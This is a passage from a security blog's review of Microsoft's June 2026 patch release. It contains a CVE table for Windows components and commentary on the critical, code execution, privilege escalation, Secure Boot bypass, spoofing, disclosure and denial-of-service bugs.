 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos 